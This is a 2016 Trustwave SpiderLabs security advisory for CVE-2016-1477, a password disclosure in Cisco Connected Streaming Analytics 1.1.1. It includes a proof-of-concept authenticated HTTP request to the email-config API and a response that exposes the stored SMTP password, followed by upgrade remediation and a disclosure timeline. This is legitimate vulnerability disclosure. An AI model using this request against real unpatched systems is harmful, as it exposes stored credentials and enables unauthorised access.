Trustwave SpiderLabs Security Advisory TWSL2016-015: Password Disclosure Vulnerability in Cisco Connected Streaming Analytics Vendor: Cisco Systems, Inc. Product: Cisco Connected Streaming Analytics Version affected: 1.1.1 Product description: Cisco Connected Streaming Analytics is a real-time big data analytics platform that allows to connect to continuous streams of structured data and complete subsequent processing through derived streams to answer real time business questions. The Connected Streaming Analytics business intelligence platform consists of open source applications developed by Pentaho and others, to create a web-based, client that can generate dynamic dashboardsand reports from continuous query data. The BI platform includes functions for integration, information delivery, and basic analysis. Information delivery elements include reports, dashboards, and ad hoc queries. Basic analysis elements include Online Analytical Processing (OLAP) and interactive visualizations. Finding 1: Password Disclosure Vulnerability Credit: Piotr Karolak of Trustwave SpiderLabs CVE: CVE-2016-1477 A vulnerability in the web interface of Cisco Connected Streaming Analytics could allow an authenticated, remote attacker to view the password stored in the HMTL page source. #Request: GET /pentaho/api/emailconfig/getEmailConfig?cb=1464321767885 HTTP/1.1 Host: A.B.C.D:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 If-Modified-Since: 01 Jan 1970 00:00:00 GMT Referer: http://A.B.C.D:8080/pentaho/Home;jsessionid=1462266434852?locale=en Cookie: JSESSIONID=BE7F72A789CED49B94661CA40381124B; session-flushed=true Connection: close #Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: application/json Date: Fri, 27 May 2016 03:55:30 GMT Connection: close Content-Length: 285 {"authenticate":"true","debug":"false","defaultFrom”:”TEST@EXAMPLE.COM”,”fromName":"","password”:”MY_PASSWORD”,”smtpHost”:”192.168.0.1”,”smtpPort":"25","smtpProtocol":"smtp","smtpQuitWait":"false","useSsl":"false","useStartTls":"false","userId":"TEST@EXAMPLE.COM"} Remediation Upgrade Cisco's Connected Streaming Analytics to version 1.1.2 or the latest stable release. Revision History: 06/02/2016 - Finding disclosed to vendor 08/05/2016 - Patch released by vendor 08/10/2016 - Vendor posted advisory for cisco-sa-20160810-csa 08/11/2016 - Advisory published References 1. https://software.cisco.com/download/release.html?i=!y&mdfid=284898630&softwareid=286284958&release=1.1.2&os= 2. http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160810-csa 3. https://developer.cisco.com/site/csa/overview/ 4. https://www.owasp.org/index.php/Information_Leakage About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.